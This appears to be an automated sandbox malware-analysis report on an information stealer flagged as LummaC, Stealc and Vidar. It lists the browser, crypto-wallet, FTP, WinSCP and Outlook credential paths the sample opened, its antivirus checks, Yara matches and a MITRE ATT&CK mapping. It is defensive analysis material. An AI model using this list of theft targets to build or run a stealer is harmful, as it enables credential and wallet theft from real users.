Code function: 3_2_004172F0 GetProcessHeap,HeapAlloc,GetUserNameA,

3_2_004172F0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004174D0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

3_2_004174D0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 29_2_6CAC1BC0 memset,GetVersionExA,

29_2_6CAC1BC0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000002.1244342672.0000000001641000.00000004.00000020.00020000.00000000.sdmp, userFBKFCFBFID.exe, 00000012.00000002.1377947298.0000000001212000.00000004.00000020.00020000.00000000.sdmp, userIEHDAFHDHC.exe, 0000001B.00000002.1381565125.0000000000AE3000.00000004.00000020.00020000.00000000.sdmp, DHCGHDHIDH.exe, 00000027.00000002.1880887978.0000000001452000.00000004.00000020.00020000.00000000.sdmp, HDAFIIDAKJ.exe, 0000002A.00000002.1890730965.0000000000853000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: Amcache.hve.33.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.33.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.33.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: file.exe, 00000000.00000002.1244342672.0000000001641000.00000004.00000020.00020000.00000000.sdmp, userFBKFCFBFID.exe, 00000012.00000002.1377947298.0000000001212000.00000004.00000020.00020000.00000000.sdmp, userIEHDAFHDHC.exe, 0000001B.00000002.1381565125.0000000000AE3000.00000004.00000020.00020000.00000000.sdmp, DHCGHDHIDH.exe, 00000027.00000002.1880887978.0000000001452000.00000004.00000020.00020000.00000000.sdmp, HDAFIIDAKJ.exe, 0000002A.00000002.1890730965.0000000000853000.00000004.00000020.00020000.00000000.sdmp, HDAFIIDAKJ.exe.29.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, 66cf818156193_ldjfnsfd[1].exe.3.dr, userFBKFCFBFID.exe.3.dr, userIEHDAFHDHC.exe.3.dr, DHCGHDHIDH.exe.29.dr	Binary or memory string: AVP.exe
Source: Amcache.hve.33.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000C10000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002E.00000002.2206607255.0000000000F98000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002E.00000002.2206607255.0000000000EDB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.33.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000003.00000002.1384359989.000000000140A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7492, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 29.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.userIEHDAFHDHC.exe.38b5570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.userIEHDAFHDHC.exe.38b5570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000002.1383374725.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.1926386102.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7492, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: userIEHDAFHDHC.exe PID: 7444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3180, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3916, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: RegAsm.exe	String found in binary or memory: \jaxx\Local Storage\
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe	String found in binary or memory: passphrase.json
Source: RegAsm.exe	String found in binary or memory: \jaxx\Local Storage\
Source: RegAsm.exe	String found in binary or memory: \Ethereum\
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe, 00000003.00000002.1384359989.0000000001451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 147.45.44.104rontdesk\AppData\Roaming\Binance\.finger-print.fp
Source: RegAsm.exe	String found in binary or memory: Ethereum
Source: RegAsm.exe	String found in binary or memory: file__0.localstorage
Source: RegAsm.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: RegAsm.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: RegAsm.exe	String found in binary or memory: ltiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.js
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core			Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7492, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3180, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3916, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000003.00000002.1384359989.000000000140A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7492, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 29.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.userIEHDAFHDHC.exe.38b5570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.userIEHDAFHDHC.exe.38b5570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000002.1383374725.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.1926386102.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7492, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: userIEHDAFHDHC.exe PID: 7444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3180, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3916, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CD30C40 sqlite3_bind_zeroblob,	3_2_6CD30C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CD30D60 sqlite3_bind_parameter_name,	3_2_6CD30D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CC58EA0 sqlite3_clear_bindings,	3_2_6CC58EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CD30B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	3_2_6CD30B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAC6410 bind,WSAGetLastError,	29_2_6CAC6410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CAC60B0 listen,WSAGetLastError,	29_2_6CAC60B0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	511 Process Injection	11 Deobfuscate/Decode Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Software Packing	NTDS	157 System Information Discovery	Distributed Component Object Model	1 Email Collection	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	151 Security Software Discovery	SSH	2 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	511 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	32%	ReversingLabs
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\HDAFIIDAKJ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\66cf75d3791d7_vrewqgq[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\66cf818156193_ldjfnsfd[1].exe	100%	Joe Sandbox ML
C:\Users\userFBKFCFBFID.exe	100%	Joe Sandbox ML
C:\Users\userIEHDAFHDHC.exe	100%	Joe Sandbox ML
C:\ProgramData\DHCGHDHIDH.exe	100%	Joe Sandbox ML
C:\ProgramData\HDAFIIDAKJ.exe	32%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\userIEHDAFHDHC.exe	32%	ReversingLabs
